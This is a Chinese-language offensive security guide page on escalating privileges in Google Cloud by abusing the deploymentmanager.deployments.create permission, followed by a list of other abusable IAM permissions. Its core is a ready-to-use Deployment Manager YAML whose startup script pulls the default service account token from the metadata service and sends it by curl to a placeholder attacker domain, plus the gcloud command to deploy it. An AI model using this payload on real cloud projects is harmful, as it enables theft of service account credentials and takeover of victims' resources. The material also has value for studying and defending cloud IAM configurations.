特权升级和横向移动
IAM 权限
绝大多数权限提升技术都是围绕成员的角色和权限进行的。 请记住,GCP 权限用于决定成员有权访问哪些资源
● https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/
● https://rhinosecuritylabs.com/cloud-security/privilege-escalation-google-cloud-platform-part-2/Deploymentmanager.deployments.create
此权限允许您将资源部署为“cloudservices.gserviceaccount.com”,默认情况下具有编辑者角色。 攻击者可以滥用此权限来创建计算实例,添加启动脚本以通过元数据服务收集服务帐户访问令牌,最后将其发送回攻击者。
第一步是创建用于设置计算引擎实例的 YAML 文件。
请注意,启动脚本向元数据服务发出 curl 请求,然后它获取响应并将其发送到攻击者的计算机。 这个配置文件可以在下面找到,
只需将 <ATTACKER-DOMAIN-HERE> 行替换为您的域或 ip:
resources:
- name: vm-created-by-deployment-manager
type: compute.v1.instance
properties:
zone: us-central1-a
machineType: zones/us-central1-a/machineTypes/n1-standard-1
disks:
deviceName: boot
type: PERSISTENT
boot: true
autoDelete: true
initializeParams:
sourceImage: projects/debian-cloud/global/images/family/debian-9
networkInterfaces:
- network: global/networks/default
accessConfigs:
- name: External NAT
type: ONE_TO_ONE_NAT
metadata:
items:
- key: startup-script
value: |
#!/bin/bash
apt-get update
apt-get install -y curl
curl http://<ATTACKER-DOMAIN-HERE>/gce_token -d $(curl
http://169.254.169.254/computeMetadata/v1beta1/instance/service-accounts/default/token)
serviceAccounts:
- email: default
scopes:
- https://www.googleapis.com/auth/cloud-platform
接下来,您需要使用部署管理器命令创建计算引擎
如下所示:
gcloud deployment-manager deployments create <DEPLOYMENT-NAME> --config <CONFIG-FILE-NAME>.yaml
计算引擎启动后,您应该会收到带有新创建的访问令牌的回调iam.roles.update
iam.serviceAccounts.getAccessToken
iam.serviceAccountKeys.create
iam.serviceAccounts.actAs
GCP IAM 权限提升工具
最后更新于
这有帮助吗?